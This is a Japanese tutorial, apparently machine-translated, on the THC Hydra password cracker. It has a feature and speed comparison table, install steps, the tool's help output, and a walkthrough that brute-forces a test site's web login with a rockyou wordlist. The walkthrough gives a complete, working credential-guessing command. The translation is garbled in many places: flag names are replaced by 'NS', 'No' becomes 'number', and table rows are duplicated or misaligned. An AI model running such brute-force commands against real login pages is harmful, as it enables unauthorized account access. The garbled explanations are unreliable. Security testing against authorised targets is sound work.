パスワードは、技術的には、リソースへの認証またはアクセスを取得するために使用される文字の秘密の文字列として定義されます。それは秘密にされ、それらのリソースへのアクセスを許可されていない他の人から隠されなければなりません。パスワードは、コンピューティングの初期の頃からコンピューターで使用されてきました。初めての共有システムの1つは、1961年に導入されました。ユーザーパスワードを要求するログインコマンドがありました。 PASSWORDを入力した後、システムは可能であれば印刷メカニズムをオフにして、ユーザーがプライバシーを守ってパスワードを入力できるようにします。
パスワードの強度は、長さ、複雑さ、および予測不可能性の関数です。それはそれを推測したり壊したりすることに抵抗する効果を測定します。一方、弱いパスワードは、個人/企業の電子メール、財務情報、ビジネス情報、クレジットカードなどの機密データを推測してアクセスするために必要な時間を短縮します。
さまざまな攻撃スキームの強みに対応して、パスワードを弱くする方法はたくさんあります。この種のクレデンシャル攻撃で最も人気のあるのは、ブルートフォースです。これは、推測のような試行錯誤の方法であり、アプリケーションプログラムやハッキングツールで使用されるパスワードやデータ暗号化などの暗号化されたデータのデコードを試みます。
Hydraは、多数の攻撃プロトコルをサポートする最速のネットワークログオンクラッカーです。非常に高速で柔軟性があり、新しいモジュールを簡単に追加できます。このツールを使用すると、研究者やセキュリティコンサルタントは、システムへの不正アクセスをリモートで簡単に取得できることを示すことができます。 HydraはvanHauserによって書かれ、DavidMaciejakによってさらにサポートされました。最新のアップデートでは、hydra開発はhttps://github.com/vanhauser-thc/thc-hydraのパブリックgithubリポジトリに移動されています。
Hydraは、Linux、Windows / Cygwin、Solaris 11、FreeBSD 8.1、OpenBSD、OSX、QNX / Blackberryでのコンパイルがテストされており、特別なOpenSSLライセンス拡張を備えたGPLv3で利用可能になっています。
THC Hydraは、次のプロトコルをサポートしています:Cisco AAA、Cisco auth、Cisco enable、CVS、FTP、HTTP(S)-FORM-GET、HTTP(S)-FORM-POST、HTTP(S)-GET、HTTP(S)-HEAD 、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NNTP、Oracle Listener、Oracle SID、PC-Anywhere、PC-NFS、POP3、PostgreSQL、RDP、Rexec、Rlogin、Rsh、SIP、SMB (NT)、SMTP、SMTP Enum、SNMP v1 + v2 + v3、SOCKS5、SSH(v1およびv2)、SSHKEY、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、およびXMPP。
HYDRAを他のクラッキングツールと比較する
hydraのほかにも多くのログインクラッカーツールがありますが、hydraのようにプロトコルの膨大なリストと並列化されたログインクラッカーのサポートをサポートするものはありません。以下の表は、medusaおよびncrackに対する機能、サービス、および速度の比較の結果を示しています。
特徴
特徴 | ハイドラ | クラゲ | Ncrack |
ライセンス | AGPLv3 | GPLv2 | GPLv2 + Nmap用語 |
IPv6サポート | はい | 番号 | 番号 |
グラフィックユーザーインターフェイス | はい | はい | 番号 |
国際化されたサポート(RFC 4013) | はい | 番号 | 番号 |
HTTPプロキシのサポート | はい | はい | 番号 |
SOCKSプロキシサポート | はい | 番号 | 番号 |
サポートされているプロトコル | 51 | 22 | 7 |
サービス
サービス | 詳細 | ハイドラ | クラゲ | Ncrack |
ADAM-6500 | はい | 番号 | 番号 | |
AFP | はい | はい | 番号 | |
アスタリスク | はい | 番号 | 番号 | |
Ciscoパスワード | はい | 番号 | 番号 | |
Cisco Enable | はい | 番号 | 番号 | |
CVS | はい | はい | 番号 | |
ファイアバード | はい | 番号 | 番号 | |
FTP | はい | はい | はい | |
SSLサポート | AUTH TLS&FTP over SSL | AUTH TLS&FTP over SSL | 番号 | |
HTTP | 方法 | GET、HEAD、POST | 得る | 得る |
基本認証 | はい | はい | はい | |
HTTPフォーム | 方法 | GET、POST | GET、POST | 番号 |
SSLサポート | HTTPS | HTTPS | 番号 | |
HTTPプロキシ | 基本認証 | はい | 番号 | 番号 |
DIGEST-MD5認証 | はい | 番号 | 番号 | |
NTLM認証 | はい | 番号 | 番号 | |
SSLサポート | HTTPS | 番号 | 番号 | |
HTTPプロキシURL列挙 | はい | 番号 | 番号 | |
ICQ | v5 | はい 1 | 番号 | 番号 |
IMAP | ログインサポート | はい | はい | 番号 |
AUTHLOGINサポート | はい | 番号 | 番号 | |
AUTHPLAINサポート | はい | はい | 番号 | |
AUTHCRAM-MD5サポート | はい | 番号 | 番号 | |
AUTHCRAM-SHA1のサポート | はい | 番号 | 番号 | |
AUTHCRAM-SHA256のサポート | はい | 番号 | 番号 | |
AUTHDIGEST-MD5サポート | はい | 番号 | 番号 | |
AUTHNTLMサポート | はい | はい | 番号 | |
AUTHSCRAM-SHA1のサポート | はい | 番号 | 番号 | |
SSLサポート | IMAPSとSTARTTLS | IMAPSとSTARTTLS | 番号 | |
IRC | 一般的なサーバーのパスワード | はい | 番号 | 番号 |
OPERモードのパスワード | はい | 番号 | 番号 | |
LDAP | v2、シンプルなサポート | はい | 番号 | 番号 |
v3、シンプルなサポート | はい | 番号 | 番号 | |
v3、AUTHCRAM-MD5のサポート | はい | 番号 | 番号 | |
AUTHDIGEST-MD5サポート | はい | |||
AUTHNTLMサポート | はい | はい | ||
AUTHSCRAM-SHA1のサポート | はい | |||
SSLサポート | IMAPSとSTARTTLS | IMAPSとSTARTTLS | ||
IRC | 一般的なサーバーのパスワード | はい | ||
OPERモードのパスワード | はい | |||
LDAP | v2、シンプルなサポート | はい | ||
v3、シンプルなサポート | はい | |||
v3、AUTHCRAM-MD5のサポート | はい | |||
v3、AUTHDIGEST-MD5サポート | はい | |||
MS-SQL | はい | はい | ||
MySQL | v3.x | はい | はい | |
v4.x | はい | はい | ||
v5.x | はい | はい | ||
NCP | はい | はい | ||
NNTP | ユーザーサポート | はい | はい | |
AUTHLOGINサポート | はい | |||
AUTHPLAINサポート | はい | |||
AUTHCRAM-MD5サポート | はい | |||
AUTHDIGEST-MD5サポート | はい | |||
AUTHNTLMサポート | はい | |||
SSLサポート | STARTTLSとNNTPover SSL | |||
オラクル | データベース | はい | はい | |
TNSリスナー | はい | |||
SIDの列挙 | はい | |||
PC-NFS | はい | |||
pcAnywhere | ネイティブ認証 | はい | はい | |
OSベースの認証(MS) | はい | |||
POP3 | ユーザーサポート | はい | はい | はい |
APOPサポート | はい | |||
AUTHLOGINサポート | はい | はい | ||
AUTHPLAINサポート | はい | はい | ||
AUTHCRAM-MD5サポート | はい | |||
AUTHCRAM-SHA1のサポート | はい | |||
AUTHCRAM-SHA256のサポート | はい | |||
AUTHDIGEST-MD5サポート | はい | |||
AUTHNTLMサポート | はい | はい | ||
SSLサポート | POP3SとSTARTTLS | POP3SとSTARTTLS | POP3S | |
PostgreSQL | はい | はい | ||
アスタリスク | はい | |||
RDP | Windowsワークステーション | はい | はい | はい |
Windows Server | はい | はい | ||
ドメイン認証 | はい | はい | ||
REDIS | はい | 番号 | ||
REXEC | はい | はい | ||
RLOGIN | はい | はい | ||
RPCAP | はい | 番号 | ||
RSH | はい | はい | ||
RTSP | はい | 番号 | ||
SAP R / 3 | はい | |||
シーメンスS7-300 | はい | |||
SIP | はい | |||
SSLサポート | SIP over SSL | |||
SMB | NetBIOSモード | はい | はい | 番号 |
W2Kネイティブモード | はい | はい | はい | |
ハッシュモード | はい | はい | 番号 | |
クリアテキスト認証 | はい | はい | ||
LMv1認証 | はい | はい | はい | |
LMv2認証 | はい | はい | はい | |
NTLMv1認証 | はい | はい | はい | |
NTLMv2認証 | はい | はい | はい | |
SMTP | AUTHLOGINサポート | はい | はい | |
AUTHPLAINサポート | はい | はい | ||
AUTHCRAM-MD5サポート | はい | |||
AUTHDIGEST-MD5サポート | はい | |||
AUTHNTLMサポート | はい | はい | ||
SSLサポート | SMTPSとSTARTTLS | SMTPSとSTARTTLS | ||
SMTPユーザー列挙型 | VRFY cmd | はい | はい | |
EXPN cmd | はい | はい | ||
RCPT TO cmd | はい | はい | ||
SNMP | v1 | はい | はい | |
v2c | はい | はい | ||
v3 | (MD5 / SHA1認証のみ) | |||
靴下 | v5、パスワード認証 | はい | ||
SSH | v1 | はい | ||
v2 | はい | はい | はい | |
SSHキー | v1、v2 | はい | ||
Subversion(SVN) | はい | はい | ||
TeamSpeak | TS2 | はい | ||
Telnet | はい | はい | はい | |
XMPP | AUTHLOGINサポート | はい | ||
AUTHPLAINサポート | はい | |||
AUTHCRAM-MD5サポート | はい | |||
AUTHDIGEST-MD5サポート | はい | |||
AUTHSCRAM-SHA1のサポート | はい | |||
VMware認証デーモン | v1.00 / v1.10 | はい | はい | |
SSLサポート | はい | はい | ||
VNC | RFB3.xパスワードのサポート | はい | はい | |
RFB3.xユーザー+パスワードのサポート | (UltraVNCのみ) | |||
RFB4.xパスワードのサポート | はい | はい | ||
RFB4.xユーザー+パスワードのサポート | (UltraVNCのみ) |
速度比較
速度(秒) | ハイドラ | クラゲ | Ncrack |
1タスク/ FTPモジュール | 11.93 | 12.97 | 18.01 |
4タスク/ FTPモジュール | 4.20 | 5.24 | 9.01 |
16タスク/ FTPモジュール | 2.44 | 2.71 | 12.01 |
1タスク/ SSHv2モジュール | 32.56 | 33.84 | 45.02 |
4タスク/ SSHv2モジュール | 10.95 | 壊れた | 逃した |
16タスク/ SSHv2モジュール | 5.14 | 壊れた | 逃した |
それはハイドラの簡単な紹介でした。それでは、インストールに移りましょう。
HYDRAのインストール
Hydraはkalilinuxにプリインストールされていますが、別のオペレーティングシステムを使用している場合は、コンパイルしてシステムにインストールできます。現在、さまざまなプラットフォームでのhydraのサポート:
- すべてのUNIXプラットフォーム(Linux、* bsd、Solarisなど)
- MacOS(基本的にはBSDクローン)
- Cygwinを搭載したWindows(IPv4とIPv6の両方)
- Linux、MacOS、またはQNXに基づくモバイルシステム(Android、iPhone、Blackberry 10、Zaurus、iPaqなど)
hydraをダウンロード、構成、コンパイル、およびインストールするには、ターミナルに入力するだけです。
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Ubuntu / Debianを使用している場合は、いくつかの依存関係ライブラリが必要になります。
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
リポジトリでこれらのライブラリが見つからない場合は、手動でダウンロードしてインストールする必要があります。
HYDRAの使い方
おめでとうございます。これで、システムにhydraをインストールすることに成功しました。実際、HydraにはGUI-gtkと私のお気に入りのCLIバージョンの2つのフレーバーが付属しています。さらに、hydraにはCLIガイドバージョンもあります。これはhydra-wizardと呼ばれます。すべてのコマンドまたは引数を端末に手動で入力する代わりに、ステップバイステップでガイドされます。ヒドラを実行するには、ターミナルタイプから:
CLIの場合:
hydra
CLIウィザードの場合:
hydra-wizard
GUIの場合:
xhydra
「hydra」と入力すると、次のようなヘルプコマンドが表示されます。
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
hydraを使用したブルートフォースWebベースのログイン
Hydraは、前述のようにブルートフォーシングサービスをサポートしています。そのうちの1つは、ソーシャルメディアログインフォーム、ユーザーバンキングログインフォーム、ルーターWebベースログインなどのWebベースのログインをブルートフォースするために使用されます。そのhttp [s] -get-formこのリクエストを処理します。このチュートリアルでは、脆弱なWebログインをブルートフォースする方法を紹介します。 hydraを起動する前に、以下のようないくつかの必要な引数を知っておく必要があります。
- 目標 :http://testasp.vulnweb.com/Login.asp?RetURL =%2FDefault%2Easp%3F
- ログインユーザー名 :管理者 (わからない場合は、これを総当たり攻撃してください)
- パスワードリスト : 可能なパスワードを含む辞書ファイルリストの場所。
- フォームパラメータ : 一般に、改ざんデータまたはプロキシを使用して、リクエストパラメータの形式を取得します。しかし、ここでは、iceweasel、Firefoxベースのネットワーク開発者ツールバーを使用しています。
- サービスモジュール :http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
ブラウザ、iceweasel / firefoxを使用して投稿パラメータを取得する
Firefoxブラウザでキー ‘を押します CTRL + SHIFT + Q ‘。次に、Webログインページを開きますhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F、ネットワーク開発者タブにテキストが表示されます。どのファイルが私たちに転送されるかを教えてくれます。まだデータをPOSTしていないため、メソッドがすべてGETであることを確認してください。
フォーム後のパラメータを取得するには、ユーザー名またはパスワードのフォームに何でも入力します。ネットワーク開発者タブに新しいPOSTメソッドが表示されます。その行をダブルクリックし、[ヘッダー]タブで、右側の[編集して再送信]ボタンをクリックします。リクエスト本文で、次のような最後の行をコピーします tfUName=asu&tfUPass=raimu 。 NS tfUName と tfUPass 必要なパラメータです。以下に見られるように:
Kali linuxにはたくさんのワードリストがあります。適切なワードリストを選択するか、rockyou.txtを使用してください。 / usr / share / wordlists / 以下に見られるように:
さて、これで必要なすべての議論ができ、ハイドラを起動する準備が整いました。コマンドパターンは次のとおりです。
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
コマンドを分解してみましょう。
- NS :はユーザー名アカウントを含む単語です。ファイル内の可能なユーザー名のリストを参照するには、-Lを使用します。
- NS :は可能なパスワードのファイルリストです。推測する代わりに、-pを使用して文字通り1語のパスワードを使用します。
- testapp.vunlwebapp.com :はホスト名またはターゲットです
- http-post-form :私たちが使用するサービスモジュールです
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout =必要な3つのパラメーター、構文は次のとおりです。
{ページのURL}:{Post本文のフォームパラメータをリクエストする}:S = {ログインに成功した後、ページ内のすべてのものを検索する} - v =詳細モード
- V =各試行に対してlogin:passを表示します
- NS =ペアlogin:passwordが見つかった場合、プログラムを終了します
さて、hydraにパスワードを破らせてみましょう。辞書攻撃なので、時間がかかります。 login:password hydraのペアの検索に成功すると、ジョブはすぐに終了し、有効な資格情報が表示されます。
このチュートリアルでは、hydraを使用してWebベースのログオンをブルートフォースする方法を学習したばかりなので、hydraでできることはたくさんあります。学習するのは、http-post-formプロトコルという1つのプロトコルだけです。 ssh、ftp、telnet、VNC、プロキシなどの別のプロトコルに対してhydraを使用することもできます。